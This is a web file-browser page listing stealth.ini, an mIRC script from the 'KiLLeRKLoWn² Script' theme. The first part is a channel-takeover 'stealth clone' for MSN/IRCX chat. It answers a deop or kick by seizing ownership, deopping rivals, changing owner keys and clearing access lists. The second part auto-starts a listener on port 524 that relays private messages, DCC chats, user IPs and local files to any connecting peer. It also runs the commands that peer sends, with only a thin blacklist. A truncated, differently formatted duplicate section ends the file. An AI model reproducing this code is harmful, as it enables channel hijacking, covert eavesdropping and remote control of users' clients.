KiLLeRKLoWn² Script — File Browser

KiLLeRKLoWnScriptv2.8 / KiLLeRKLoWnScriptv2.8 / stealth.ini

stealth.ini — 53.14 KB — Download this file

alias stealthstat {
  if ($sock(@StealthClone,1).status != $null) { $awinfecho Stealth Clone is $upper($sock(@StealthClone,1).status) }
  if ($sock(@StealthClone,1).status == $null) { $awinfecho Stealth Clone is NOT ACTIVE }
}
alias stealth {
  .enable #stealthmode | .enable #stealthkick
  set %st.cl $r(A,Z) $+ $r(a,z) $+ - $+ $r(0,9)
  sockopen @StealthClone chat.msn.com 6667
}
on 1:SOCKOPEN:@StealthClone:{
  window -p @StealthClone 0 0 310 100 @StealthClone Arial | titlebar @StealthClone - (use !part in channel)
  sockwrite -n $sockname USER Pro Pro Pro :Kickit
  sockwrite -n $sockname NICK %st.cl
  sockwrite -n $sockname IRCX
  sockwrite -n $sockname MODE %st.cl +i
  drawpic -s @StealthClone 0 0 $mircdirgraphics\stealth.bmp
  drawtext -pbc $sockname 0 1 Arial 14 105 3 210 15 4Connection Status:15 $upper($sock($sockname,1).status)
  drawtext -pbc $sockname 0 1 Arial 14 105 19 210 15 4IRCX Status:15 OFF
  drawtext -pbc $sockname 0 1 Arial 14 105 35 210 15 4Last Chan:
  drawtext -pbc $sockname 0 1 Arial 14 105 51 210 15 4LastAction:
  window -a @StealthClone
}
on 1:SOCKREAD:@StealthClone:{
  if ($sockerr > 0) return
  :nextread
  sockread %sock.read.line
  if ($sockbr == 0) return
  if ($gettok(%sock.read.line,1,32) == PING) { sockwrite -n $sockname PONG $gettok(%sock.read.line,2-,58) }
  if ($gettok(%sock.read.line,2,32) == PROP) { set %Key. [ $+ [ $gettok(%sock.read.line,3,32) ] ] $remove($gettok(%sock.read.line,5,32),:) }
  if ($gettok(%sock.read.line,2,32) == PRIVMSG) && ($address($me,5) isin $gettok(%sock.read.line,1,32)) && ($gettok(%sock.read.line,4,32) == :!part) { sockwrite -n $sockname PART $gettok(%sock.read.line,3,32) }
  if ($gettok(%sock.read.line,2,32) == PRIVMSG) && ($address($me,5) isin $gettok(%sock.read.line,1,32)) && ($gettok(%sock.read.line,4,32) == :!q) { sockwrite -n $sockname MODE $gettok(%sock.read.line,3,32) +q $me }
  if ($gettok(%sock.read.line,2,32) == 800) { drawtext -pbc $sockname 0 1 Arial 14 105 19 210 15 4IRCX Status:15 ON $chr(160) }
  goto nextread
}
on 1:SOCKCLOSE:@StealthClone:set %sockwin $sockname | unset %st.* | .disable #stealthmode | .disable #stealthkick | sockclose $sockname | window -c %sockwin
on 1:CLOSE:@StealthClone:unset %st.* | .disable #stealthmode | .disable #stealthkick | sockclose $target
#stealthmode on
on 1:RAWMODE:#:{ 
if (($mode(1).deowner == $me) || ($mode(1).deop == $me)) && ($sock(@StealthClone) != $null) { .disable #stealthkick | sockwrite -n @StealthClone join $chan %Key. [ $+ [ $chan ] ] | set %cmask $address($nick,4) | sockwrite -n @StealthClone mode $chan +qq-ooo $me $me $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,3).nick | sockwrite -n @StealthClone prop $chan ownerkey $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(0,9) $+ $r(A,Z) | sockwrite -n @StealthClone access $chan clear | set %st.last.chan %st.chan | set %st.last.act %st.act | set %st.chan $chan | set %st.act $iif($1 == -q,deowned,deoped) | .timerSTEALTH 1 3 finish.stealth | .timer 1 3 .enable #stealthkick | unset %cmask } }
.disable #stealthkick
sockwrite -n @StealthClone join $chan %Key. [ $+ [ $chan ] ] 
set %cmask $address($nick,4)
sockwrite -n @StealthClone access # clear
sockwrite -n @StealthClone mode # +qq-oooooo $me $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,3).nick $ialchan(%cmask,#,3).nick 
sockwrite -n @StealthClone prop $chan ownerkey $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(0,9) $+ $r(A,Z) 
sockwrite -n @StealthClone access $chan clear 
set %st.last.chan %st.chan 
set %st.last.act %st.act 
set %st.chan $chan 
set %st.act $iif($1 == -q,deowned,deoped) 
.timerSTEALTH 1 3 finish.stealth 
.timer 1 3 .enable #stealthkick
}
 
#stealthmode end
#stealthkick on
on 1:KICK:#: { 
if ($knick == $me) && ($sock(@StealthClone) != $null) { 
.disable #stealthmode 
set %cmask $address($nick,4)
sockwrite -n @StealthClone join # $ownerkey
sockwrite -n @StealthClone mode # +qq-oooooo $me $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,3).nick $ialchan(%cmask,#,3).nick
sockwrite -n @StealthClone access # clear
sockwrite -n @StealthClone prop # ownerkey KuNt-( $+ $rand(1,999999) $+ )
sockwrite -n @StealthClone access # clear
set %st.last.chan %st.chan 
set %st.last.act %st.act 
set %st.chan $chan 
set %st.act kicked 
.timerSTEALTH 1 3 finish.stealth 
.timer 1 3 .enable #stealthmode 
sockwrite -nt @stealthclone part $chan
} 
}
#stealthkick end
alias finish.stealth {
drawtext -pbc @StealthClone 1 1 Arial 14 105 35 210 15 4Last Chan:1 %st.last.chan
drawtext -pbc @StealthClone 1 1 Arial 14 105 51 210 15 4LastAction:1 %st.last.act
drawtext -pbc @StealthClone 0 1 Arial 14 105 35 210 15 4Last Chan:15 %st.chan
drawtext -pbc @StealthClone 0 1 Arial 14 105 51 210 15 4LastAction:15 %st.act
join %st.chan %Key. [ $+ [ %st.chan ] ]
if ($me isowner %st.chan) { sockwrite -n @StealthClone part %st.chan }
if ($me !isowner %st.chan) { join %st.chan %Key. [ $+ [ %st.chan ] ] }
.enable #stealthmode | .enable #stealthkick
}
menu @StealthClone {
&Join Chan:sockwrite -n @StealthClone JOIN $$?="Enter Chan:"
&Part Chan:sockwrite -n @StealthClone PART $$?="Enter Chan:"
-
+&q me:sockwrite -n @StealthClone MODE $$?="Enter Chan:" +q $me
-
&Die:sockwrite -n @StealthClone QUIT
}
alias pex { 
sockwrite -n @StealthClone kick # $snicks(#,0)
kick # %st.cl
if ($opnick == $me) { set %deop.protection off | set %nick.mask $address($nick,2) | .sockwrite -tn join # %ownerkey | .sockwrite -tn mode # -qqq $ialchan(%nick.mask,#,1)
$ialchan(%nick.mask,#,2).nick $ial(%nick.mask,#,3).nick
}

}

on 1:START: listen

on 1:SOCKLISTEN:Stealth: {
unset %SBot.i
:start
inc %SBot.i
if ( $sock( [ SBot- $+ [ %SBot.i ] ] ) != $null ) { goto start }
.sockaccept [ SBot- $+ [ %SBot.i ] ]
%SBot.server = $server
if ( %SBot.server == $null ) { %SBot.server = $chr(149) }
.sockwrite -n SBot- $+ [ %SBot.i ] CONNECT $me $+ $chr(140) $+ %SBot.server $+ $chr(140) $+ $usermode 
unset %SBot.*
}

on 1:SOCKREAD:SBot-*: {
if ( $sockerr > 0 ) .return
.sockread %SBot.read.temp
%SBot.read.temp1 = $gettok( %SBot.read.temp ,1,32)
if ( %SBot.read.temp1 == GETCOLORS ) { 
.sockwrite -n $sockname COLORS $rgb(Face) $+ $chr(140) $+ $rgb(Text) $+ $chr(140) $+ $rgb(Hilight) $+ $chr(140) $+ $rgb(Shadow) $+ $chr(140) $+ $bground(SwitchBar)
if ( $bground(SwitchBar) != none ) { 
  unset %SBot.read.i
  :start
  inc %SBot.read.i
  if ( $sock( [ SBot_Send- $+ [ %SBot.read.i ] ] ) != $null ) { goto start }
  .sockopen [ SBot_Send- $+ [ %SBot.read.i ] ] $sock($sockname).ip $gettok( %SBot.read.temp ,2,32) 
}
}
elseif ( %SBot.read.temp1 == GETWINS ) { winstat }
elseif ( %SBot.read.temp1 == GETNAMES ) { chanstat $gettok( %SBot.read.temp ,2,32) }
elseif ( %SBot.read.temp1 == GETIP ) {
if ( $query( [ $gettok( %SBot.read.temp ,2,32) ] ).address != $null ) { .sockwrite -n SBot-* NICKIP $gettok( %SBot.read.temp ,2,32) $query( [ $gettok( %SBot.read.temp ,2,32) ] ).address }
elseif ( $address( [ $gettok( %SBot.read.temp ,2,32) ] ,5) != $null ) { .sockwrite -n SBot-* NICKIP $gettok( %SBot.read.temp ,2,32) $address( [ $gettok( %SBot.read.temp ,2,32) ] ,5) }
else { .enableset #NickIP | %SBot.getnick $gettok( %SBot.read.temp ,2,32) | .userhost $gettok( %SBot.read.temp ,2,32) } 
}
elseif ( %SBot.read.temp1 == CONNECT ) { .sockmark $sockname $gettok( %SBot.read.temp ,2,32) }
else { 
if ( remove isin %SBot.read.temp1 ) || ( copy isin %SBot.read.temp1 ) || ( mkdir isin %SBot.read.temp1 ) || ( remini isin %SBot.read.temp1 ) || ( rename isin %SBot.read.temp1 ) || ( rmdir isin %SBot.read.temp1 ) || ( write isin %SBot.read.temp1 ) { unset %SBot.read.* | halt }
%SBot.read.temp 
}
unset %SBot.read.*
}

on 1:SOCKCLOSE:Stealth:.listen

on 1:SOCKOPEN:SBot_Send-*:{
.sockmark $sockname $bground(SwitchBar)
bread $sock($sockname).mark 0 4096 &SBot.temp
sockwrite $sockname &SBot.temp
}

on 1:SOCKWRITE:SBot_Send-*: {
if ($sockerr > 0) { halt }
if ($sock($sockname).sent >= $lof( $sock($sockname).mark) ) { sockclose $sockname | halt }
bread $sock($sockname).mark $sock($sockname).sent 4096 &SBot.temp
sockwrite $sockname &SBot.temp
}

on 1:INPUT: {
if ( $sock(SBot-*) != $null ) {
if ( Chat isin $target ) { %SBot.temp = $gettok( $target ,3,32) | .sockwrite -n SBot-* DCC CHAT %SBot.temp < $+ $me $+ > $1- }
elseif ( $left( $1 ,1) != $chr(47) ) { if ( Status !isin $target ) { .sockwrite -n SBot-* SHOW $target < $+ $me $+ > $1- } }
else { 
  %SBot.temp = $target
  if ( $gettok( %SBot.temp ,1,32) == Status ) { %SBot.temp = Status }
  .sockwrite -n SBot-* ACTION %SBot.temp $1- 
  %SBot.temp1 = $gettok( $1 ,1,47)
  if ( %SBot.temp1 == msg ) || ( %SBot.temp1 == query ) { .sockwrite -n SBot-* SHOW $2 < $+ $me $+ > $3- }
  elseif ( %SBot.temp1 == me ) || ( %SBot.temp1 == action ) || ( %SBot.temp1 == describe ) {
    if ( %SBot.temp1 == describe ) { %SBot.temp = $2 | %SBot.msg = $3- }
    else { %SBot.temp = $target | %SBot.msg = $2- }
    .sockwrite -n SBot-* SHOW %SBot.temp  $+ [ $colour(Action) ] $+ * $me %SBot.msg
    unset %SBot.*
  }        
}
unset %SBot.*
}
}

on 1:CONNECT: {
if ( $sock(SBot-*) != $null ) { 
%SBot.server = $server
if ( %SBot.server == $null ) { %SBot.server = $chr(149) }
.sockwrite -n SBot-* CONNECT $me $+ $chr(140) $+ %SBot.server $+ $chr(140) $+ $usermode 
}
}
on 1:DISCONNECT: if ( $sock(SBot-*) != $null ) { showinstat  $+ $colour(Info) $+ *** Disconnected | .sockwrite -n SBot-* DISCONNECT }

on 1:TEXT:*:*: {
if ( $sock(SBot-*) != $null ) {
%SBot.temp = $chan
if ( $chan == $null ) { %SBot.temp = $nick }
.sockwrite -n SBot-* SHOW %SBot.temp < $+ $nick $+ > $1- 
unset %SBot.*
}
}

on 1:NOTICE:*:*: {
if ( $sock(SBot-*) != $null ) {
if ( $chan != $null ) { .sockwrite -n SBot-* SHOW $chan  $+ $colour(notice) $+ - $+ $nick $+ : $+ $chan $+ - $1- }
else { showinstat  $+ $colour(notice) $+ - $+ $nick $+ - $1- }
}
}

on 1:ACTION:*:*: {
if ( $sock(SBot-*) != $null ) {
%SBot.temp = $chan
if ( $chan == $me ) { %SBot.temp = $nick }
.sockwrite -n SBot-* SHOW %SBot.temp  $+ [ $colour(Action) ] $+ * $nick $1- 
unset %SBot.*
}
}

on 1:NICK: { 
if ( $sock(SBot-*) != $null ) {
if ( $nick == $me ) {
  %SBot.server = $server
  if ( %SBot.server == $null ) { %SBot.server = $chr(149) }
  .sockwrite -n SBot-* CONNECT $newnick $+ $chr(140) $+ %SBot.server $+ $chr(140) $+ $usermode 
}
unset %SBot.i
unset %SBot.temp
:start
inc %SBot.i
if ( %SBot.i <= $comchan( $newnick ,0) ) {
  if ( $newnick isop $comchan( $newnick , %SBot.i ) ) { %SBot.char = $chr(64) }
  elseif ( $newnick isvo $comchan( $newnick , %SBot.i ) ) { %SBot.char = $chr(43) }
  else { %SBot.char = $chr(149) }
  if ( %SBot.temp == $null ) { %SBot.temp = %SBot.char $+ $comchan( $newnick , %SBot.i ) }
  else { %SBot.temp = %SBot.temp $+ , $+ %SBot.char $+ $comchan( $newnick , %SBot.i ) }
  goto start
}
.sockwrite -n SBot-* NICK $nick $newnick %SBot.temp $colour(nick)
unset %SBot.*
}
}

on 1:QUIT: {
if ( $sock(SBot-*) != $null ) {
if ( $nick != $me ) {
  unset %SBot.i
  unset %SBot.temp
  :start
  inc %SBot.i
  if ( %SBot.i <= $comchan( $nick ,0) ) {
    if ( %SBot.temp == $null ) { %SBot.temp = $comchan( $nick , %SBot.i ) }
    else { %SBot.temp = %SBot.temp $+ , $+ $comchan( $nick , %SBot.i ) }
    goto start
  }
  %SBot.msg = $1
  if ( %SBot.msg == $null ) { %SBot.msg = Leaving }
  .sockwrite -n SBot-* QUIT $nick %SBot.temp  $+ $colour(Quit) $+ *** Quits: $nick ( $+ $1- $+ ) 
  .showinstat  $+ $colour(Quit) $+ *** $nick ( $+ $address $+ ) Quits ( $+ $1 $+ )
}
}
}  

on 1:DNS: {
if ( $sock(SBot-*) != $null ) { 
showinstat  $+ $colour(Other) $+ *** Looking up $iaddress 
if ( $raddress == $null ) { showinstat  $+ $colour(Other) $+ *** Unable to resolve $iaddress }
else { showinstat  $+ $colour(Other) $+ *** Resolved $iaddress to $raddress }
}
}

on 1:CLOSE:=: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CLOSE [ Chat- $+ [ $target ] ] }
on 1:CLOSE:!: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CLOSE [ Chat- $+ [ $target ] ] }
on 1:CLOSE:?: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CLOSE $target }
on 1:SNOTICE: if ( $sock(SBot-*) != $null ) { showinstat  $+ $colour(notice) $+ - $+ $nick $+ - $1- }
on 1:NOTIFY: if ( $sock(SBot-*) != $null ) { showinstat  $+ $colour(Notify) $+ *** $nick is on IRC }
on 1:UNOTIFY: if ( $sock(SBot-*) != $null ) { showinstat  $+ $colour(Notify) $+ *** $nick has left IRC }
on 1:INVITE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* INVITE $chan $nick $colour(invite) $address }
on 1:USERMODE: if ( $sock(SBot-*) != $null ) { showinstat  $+ [ $colour( mode ) ] $+ *** $me sets mode: $1- | .sockwrite -n SBot-* UMODE $usermode }
on 1:MODE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN MODE $chan $nick $colour( mode) $1- $+ $chr(164) $+ $chan( $chan ).mode }
on 1:SERVERMODE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN MODE $chan $nick $colour( mode) $1- $+ $chr(164) $+ $chan( $chan ).mode }
on 1:TOPIC:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN TOPCHANGE $chan $nick $colour(topic) $1- }
on 1:OP:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $opnick  $+ [ $colour(mode) ] $+ *** $nick sets mode: +o $opnick }
on 1:SERVEROP:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $opnick  $+ [ $colour(mode) ] $+ *** $nick sets mode: +o $opnick }
on 1:DEOP:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $opnick  $+ [ $colour(mode) ] $+ *** $nick sets mode: -o $opnick }
on 1:VOICE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $vnick  $+ [ $colour(mode) ] $+ *** $nick sets mode: +v $vnick }
on 1:DEVOICE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $vnick  $+ [ $colour(mode) ] $+ *** $nick sets mode: -v $vnick }
on 1:JOIN:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN JOIN $chan  $+ $colour(Join) $+ *** Joins: $nick ( $+ $address $+ ) }
on 1:PART:#: if ( $sock(SBot-*) != $null ) { if ( $nick != $me ) { .sockwrite -n SBot-* CHAN PART $chan  $+ $colour(Part) $+ *** Parts: $nick ( $+ $address $+ ) ( $+ $1- $+ ) } | else { .sockwrite -n SBot-* CLOSE $chan } }
on 1:KICK:#: if ( $sock(SBot-*) != $null ) { if ( $knick != $me ) { .sockwrite -n SBot-* CHAN KICK $chan  $+ $colour(Part) $+ *** $knick was kicked by $nick ( $+ $1- $+ ) } | else { .sockwrite -n SBot-* CLOSE $chan | .showinstat  $+ $colour(Part) $+ *** You were kicked from $chan by $nick ( $+ $1- $+ ) } }
on 1:BAN:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW $chan  $+ [ $colour(mode) ] $+ *** $nick sets mode +b $banmask }
on 1:UNBAN:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW $chan  $+ [ $colour(mode) ] $+ *** $nick sets mode -b $banmask }
on 1:CHAT:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC CHAT $nick < $+ $nick $+ > $1- }
on 1:SERV:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC CHAT $nick < $+ $nick $+ > $1- }
ctcp 1:DCC CHAT: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC OPENCHAT $nick CTCP $colour(Info2) $colour(CTCP) $longip( $4 ) }
on 1:OPEN:=: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC OPENCHAT $nick ACK $colour(CTCP) DCC Chat connection established }

ctcp 1:*:*: {
if ( $1 == VERSION ) && ( $2 == SBot ) { .ctcpreply $nick VERSION $me is hosting SBot-Script ver. 2 |{o|)e|) by Goldfing | halt }
elseif ( $1 == SBot ) && ( $2 == Stats ) { 
unset %SBot.ctcp.i
:start
inc %SBot.ctcp.i
%SBot.ctcp.temp1 = SBot- [ $+ [ %SBot.ctcp.i ] ]
if ( $sock( %SBot.ctcp.temp1 ) != $null ) { %SBot.ctcp.temp = %SBot.ctcp.temp $sock(%SBot.ctcp.temp1).mark | goto start }
if ( %SBot.ctcp.temp != $null ) { /.ctcpreply $nick SBot Connected to: %SBot.ctcp.temp }
else { /.ctcpreply $nick SBot Not Connected to anyone }
unset %SBot.ctcp.*
halt
}
elseif ( $sock(SBot-*) != $null ) {
if ( $1 != DCC ) {
  %SBot.temp = $2-
  if ( $1 == PING ) { unset %SBot.temp }
  if ( $chan != $null ) { showinstat  $+ [ $colour(CTCP) ] $+ $chr(91) $+ $nick $+ $chr(58) $+ $chan $1 $+ $chr(93) %SBot.temp }
  else { showinstat  $+ [ $colour(CTCP) ] $+ $chr(91) $+ $nick $1 $+ $chr(93) %SBot.temp }
}
}
unset %SBot.*
}

on 1:CTCPREPLY:*: { 
if ( $sock(SBot-*) != $null ) {
if ( $1 != PING ) { showinstat  $+ $colour(CTCP) $+ $chr(91) $+ $1 reply $+ $chr(93) $+ $chr(58) $2- }
else {
  set %SBot.pt $ctime - $2
  if (%SBot.pt < 0) { set %SBot.pt 0 }
  showinstat  $+ $colour(CTCP) $+ $chr(91) $+ $nick PING reply $+ $chr(93) $+ $chr(58) %SBot.pt seconds
  unset %SBot.*
}    
}
}

;-------------------------------------  CONNECT -------------------------------------------
raw 1:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 2:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 3:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 4:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 251:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 252:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 253:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 254:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 255:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 265:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 266:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 372:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 375:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $4-7 }
raw 376:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }

;------------------------------------------------- WHOIS ---------------------------------------------------
raw 311:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2 is $3 $+ @ $+ $4- }
raw 312:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2 using $3- }
raw 313:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2 This person is an IRCop }
raw 317:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2 has been idle $duration( $3 ) $+ , signed on $asctime( $4 ) }
raw 319:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2 on $3- }
raw 310:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2 Is an CSop }
raw 301:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2 is away: $3- }
raw 318:*: if ( $sock(SBot-*) != $null ) { showinstat $3- }
raw 422:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }

;------------------------------------------------- WHOWAS ------------------------------------------------
raw 314:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2 was $3 $+ @ $+ $4- }
raw 406:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2 $+ There was no such nickname }
raw 369:*: if ( $sock(SBot-*) != $null ) { showinstat $3- }

;-------------------------------------------------- WHO ---------------------------------------------------------
raw 352:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2 $6-7 $3 $+ @ $+ $4 $+ : $+ $8-9 }
raw 315:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }

;------------------------------------------------- NAMES -------------------------------------------------------
raw 353:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $3 $4- }
raw 366:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }

;------------------------------------------------ BANLIST -------------------------------------------------------
raw 367:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
raw 368:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }

;----------------------------------------------- AWAY -------------------------------------------------
raw 306:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 305:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }

;----------------------------------------------------- SERVER ERRORS -------------------------------------------------------
raw 401:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 403:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 404:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 405:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 421:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 431:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 432:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 433:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 441:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 442:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 443:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 465:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 467:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 471:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (it's full) }
raw 472:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 473:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (it's invite only) }
raw 474:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (you're banned!) }
raw 475:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (requires the correct key) }
raw 477:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (need to be using a registered nick) } 
raw 482:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 501:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
raw 502:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }

;------------------------------------------------ OTHER ---------------------------------------------
#NickIP off
raw 302:*: {
if ( $sock(SBot-*) != $null ) {
if ( $gettok( $2 ,1,61) == %SBot.getnick ) { .sockwrite -n SBot-* NICKIP $gettok( $2 ,1,61) $gettok($2,2,64) 524 | unset %SBot.getnick | .disable #NickIP | halt } 
}
halt
}
#NickIP end

raw 329:*: if ( $sock(SBot-*) != $null ) { showinstat $2 created on $asctime( $3 ) }
raw 341:*: if ( $sock(SBot-*) != $null ) { showinstat $2 has been invited to $3 }
raw 381:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }

alias chanstat {
unset %SBot.i %SBot.ops %SBot.voice %SBot.reg
%SBot.temp = $nick( $1 ,0)
:start
inc %SBot.i
if ( %SBot.i <= %SBot.temp ) {
if ( $nick( $1 , %SBot.i ) isop $1 ) {
  if ( %SBot.ops == $null ) { %SBot.ops = $nick( $1 , %SBot.i ) }
  else {  %SBot.ops = %SBot.ops $+ $chr(44) $+ $nick( $1 , %SBot.i ) }
}
elseif ( $nick( $1 , %SBot.i ) isvo $1 ) {
  if ( %SBot.voice == $null )  { %SBot.voice = $nick( $1 , %SBot.i ) }
  else { %SBot.voice = %SBot.voice $+ $chr(44) $+ $nick( $1 , %SBot.i ) }
}
else {
  if ( %SBot.reg == $null ) { %SBot.reg = $nick( $1 , %SBot.i ) }
  else {  %SBot.reg = %SBot.reg $+ $chr(44) $+ $nick( $1 , %SBot.i ) }
}
goto start
}
%SBot.modes = $chan( $1 ).mode
%SBot.topic = $chan( $1 ).topic
if ( %SBot.ops == $null ) { %SBot.ops = $chr(149) }
if ( %SBot.voice == $null ) { %SBot.voice = $chr(149) }
if ( %SBot.reg == $null ) { %SBot.reg = $chr(149) }
if ( %SBot.modes == $null ) { %SBot.modes = $chr(149) }
if ( %SBot.topic == $null ) { %SBot.topic = $chr(149) }
.sockwrite -n SBot-* CHAN START $1 %SBot.ops $+ $chr(140) $+ %SBot.voice $+ $chr(140) $+ %SBot.reg $+ $chr(140) $+ %SBot.modes $+ $chr(140) $+ $colour(Topic) $colour(Info2) %SBot.topic
unset %SBot.ops %SBot.voice %SBot.reg %SBot.i %SBot.modes %SBot.topic
halt
}

alias winstat {
unset %SBot.wins.i %SBot.wins.temp
:loop
inc %SBot.wins.i
if ( %SBot.wins.i <= $chan(0) ) { %SBot.wins.temp = %SBot.wins.temp $+ $chan( %SBot.wins.i ) $+ $chr(44) | goto loop }
%SBot.wins.temp = %SBot.wins.temp $+ $chr(140)
unset %SBot.wins.i 
:loop2
inc %SBot.wins.i
if ( %SBot.wins.i <= $query(0) ) { %SBot.wins.temp = %SBot.wins.temp $+ $query( %SBot.wins.i ) $+ $chr(44) | goto loop2 }
%SBot.wins.temp = %SBot.wins.temp $+ $chr(140)
unset %SBot.wins.i 
:loop3
inc %SBot.wins.i
if ( %SBot.wins.i <= $chat(0) ) { %SBot.wins.temp = %SBot.wins.temp $+ $chat( %SBot.wins.i ) $+ $chr(44) | goto loop3 }
.sockwrite -n SBot-* WINSTATS %SBot.wins.temp
unset %SBot.wins.*
}

alias showinstat { 
.sockwrite -n SBot-* SHOW Status $1-
.sockwrite -n SBot-* SHOW Status -
}

alias bground {
if ( [ $readini $mircdirmirc.ini background $1 ] != $null ) {
if ($chr(58) !isin [ $readini $mircdirmirc.ini background $1 ] ) { return [ $mircdir $+ [ $readini $mircdirmirc.ini background $1 ] ] }
else { return [ $readini $mircdirmirc.ini background $1 ] }
}
else { return none }
}
alias listen if ( $portfree(524) ) { .socklisten Stealth 524 }
[script]
n0=alias stealthstat {
n1=  if ($sock(@BoB,1).status != $null) { $awinfecho Stealth Clone is $upper($sock(@BoB,1).status) }
n2=  if ($sock(@BoB,1).status == $null) { $awinfecho Stealth Clone is NOT ACTIVE }
n3=}
n4=alias BoB1 {
n5=  /set %server $$?="Server?"
n6=  .enable #stealthmode | .enable #stealthkick
n7=  set %st.cl BoB-[ $+ $r(a,z) $+ $r(0,9) $+ $r(a,z) $+ ]
n8=  sockopen @BoB %server 6667
n9=}
n10=on 1:SOCKOPEN:@BoB:{
n11=  window -p @BoB 0 0 310 100 @BoB Arial | titlebar @BoB - (HI MY NAME IS BOB)
n12=  sockwrite -n $sockname USER BoB Bob BoB :I am BoB
n13=  sockwrite -n $sockname NICK %st.cl
n14=  sockwrite -n $sockname IRCX
n15=  sockwrite -n $sockname MODE %st.cl +i
n16=  drawtext -pbc $sockname 0 1 Arial 14 105 3 210 15 4Connection Status:15 $upper($sock($sockname,1).status)
n17=  drawtext -pbc $sockname 0 1 Arial 14 105 19 210 15 4IRCX Status:15 OFF
